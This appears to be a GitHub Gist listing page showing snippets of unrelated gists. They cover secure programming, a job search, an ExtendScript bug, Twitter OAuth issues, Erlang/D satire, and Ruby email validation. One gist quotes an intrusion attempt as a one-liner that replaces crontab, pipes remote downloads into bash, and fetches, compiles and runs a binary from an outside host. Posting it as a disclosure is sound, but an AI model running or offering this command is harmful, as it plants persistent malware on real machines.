Skip to content

Instantly share code, notes, and snippets.

View nappa's full-sized avatar

Ryosuke Yamazaki nappa

  • Techouse, Inc.
  • Tokyo, Japan
  • 12:51 (UTC +09:00)
  • X @nappa
View GitHub Profile
# 私が考える安全なプログラムを書くために必要なこと
今も昔も「入力によって挙動が大幅に変わるAPI」が世の中には多数存在していて、プログラマが本来意図した挙動と異なる動作を引き起こしている。
- ファイルを開こうとしたらコマンドを実行できてしまったり
- CSSセレクタを書いてるつもりがHTMLタグを生成してしまったり
- SELECT文を発行するつもりがDELETE文を発行できてしまったり
こういったときに
- 入力値検証をしないと危険になる
@imaya
imaya / gist:7215823
Last active July 13, 2017 19:46
転職先の募集

転職先の募集

これは退職エントリではなく退職届を出したので転職先を募集する求職エントリです。

退職と転職先募集

これといった大きな理由はないのですが細かい不満が溜まったため、今年いっぱいで退職することになりました。 細かい不満といってもチームメンバーや業務内容に文句があるわけではなく、逆に素晴らしい環境を提供していただいたと感謝しています。

@milligramme
milligramme / _min_max_problem.jsx
Last active February 14, 2021 15:14
extendscriptだと配列の最初と最後しかみてない
#target "indesign"
#include "underscore.js"
var o = [10, 5, 100, 2, 1000, 99];
var o_ = [1121, 7, 22, 111, 1, 33, 23, 3, 919];
var o__ = [1005, 7, 22, 1, 777];
$.writeln( _.min(o) ); //=> 2
$.writeln( _.max(o) ); //=> 99 ????
@ismasan
ismasan / gist:5647955
Created May 25, 2013 04:55
Some asshole tried to access my servers and run this (they couldn't)
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k
@mala
mala / gist:5062931
Last active March 18, 2020 15:31
TwitterのOAuthの問題まとめ

どういう問題があったか

説明するのめんどい http://vividcode.hatenablog.com/entry/twitter-oauth-vulnerability

どういう対策がされたか

とりあえず即座に攻撃できるような状態ではなくなっています。

フィッシング?

@kuenishi
kuenishi / Erlang_risk.md
Last active December 14, 2015 09:09 — forked from repeatedly/d_risk.md

ついに顕在化し始めてもいない「Erlang/OTPリスク」

英語圏ではかなり前からErlang/OTPを開発し続けることのリスクについて語られていたが,具体的な弊害が出て来たので,単なるメモ.日本では起こり得ない未来だと思う.

若手エンジニアの不足

COBOLのように需要が逼迫しているのに人材の供給が増えず需給ミスマッチが起っているわけでは無く,需要も供給も増えないという状況下でわずかながら需要が上回っている質の悪い状況がErlang/OTPに起きている.特に深刻なのは高価な若手エンジニアの採用が絶望的に難しいという現実だ.Haskellが台頭して数年経ちScalaがメインストリームの先頭を突っ走る2013年において全く別の関数型言語もどきを勉強しようとする若者はよほどの物好きしかいない.20~30歳のErlang/OTPエンジニアを雇うのはそれほど難しい上にコストがかかる.優秀な30代前半の若手エンジニアを雇いたいという企業の思いとは裏腹にErlang/OTP新たに学ぶ若者は絶滅寸前だ.

とても優秀な若手を雇用できるチャンスが巡って来た.採用担当者はこう尋ねる.「Erlang/OTPは習得していますか?」「もちろんRuby/Scalaはお手の物です.Haskellもある程度可能です」「もう一度伺いますがErlang/OTPまたはCは習得していますか?」「申し訳ございません 未習得です」

@repeatedly
repeatedly / d_risk.md
Last active January 22, 2022 07:31
ついに顕在化し始めてもいない「D言語リスク」

ついに顕在化し始めてもいない「D言語リスク」

英語圏ではかなり前からD言語を開発し続けることのリスクについて語られていたが,全く具体的な弊害が出て来こないので,単なるメモ.日本ではかなり遠い未来だと思う.

古手エンジニアの不足

COBOLのように需要が逼迫しているのに人材の供給が増えず需給ミスマッチが起っているわけでは無く,需要も供給も増えないという状況下でわずかすら需要が上回っていないつも通りの状況がD言語に起きている.特に深刻なのは高価な古手エンジニアの採用が絶望的に難しいという現実だ.Haskellが台頭して数年経ちScalaがメインストリームの先頭を突っ走る2013年において新しくD言語を勉強しようとする年長はよほどの物好きしかいない.20~30歳のD言語エンジニアを雇うのはそれほど難しく無いだろうがコストがかかる.高価な40代前半の古手エンジニアを雇いたいという企業の思いとは裏腹にD言語を新たに学ぶ年長は絶滅寸前だ.

とても優秀な古手を雇用できるチャンスが巡って来た.採用担当者はこう尋ねる.「D言語は習得していますか?」「もちろんALGOL/Fortran/COBOLはお手の物です.Emacs Lispもある程度可能です」「もう一度伺いますがD言語は習得していますか?」「申し訳ございません 未習得です」

@pmarreck
pmarreck / ruby_email_rfc_5322_regexp.rb
Last active February 15, 2022 21:17
RFC 5322 Email Validation Regex in Ruby Regular Expressions
# RFC 5322 Email Validation Regex in Ruby
# This work is released under the BSD 3-Clause License
# http://choosealicense.com/licenses/bsd-3-clause/
# Copyleft (ɔ) 2013, Peter R. Marreck
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
@fnichol
fnichol / README.md
Created February 26, 2012 01:23
A Common .ruby-version File For Ruby Projects

A Common .ruby-version File For Ruby Projects

Background

I've been using this technique in most of my Ruby projects lately where Ruby versions are required:

  • Create .rbenv-version containing the target Ruby using a definition name defined in ruby-build (example below). These strings are a proper subset of RVM Ruby string names so far...
  • Create .rvmrc (with rvm --create --rvmrc "1.9.3@myapp") and edit the environment_id= line to fetch the Ruby version from .rbenv-version (example below).

Today I learned about another Ruby manager, rbfu, where the author is using a similar technique with .rbfu-version.

@jcf
jcf / email_validator.rb
Created September 2, 2011 10:48 — forked from stauntonknight/email_validator.rb
Rails 3 Email Validator
require 'mail'
class EmailValidator < ActiveModel::EachValidator
attr_reader :record, :attribute, :value, :email, :tree
def validate_each(record, attribute, value)
@record, @attribute, @value = record, attribute, value
@email = Mail::Address.new(value)
@tree = email.__send__(:tree)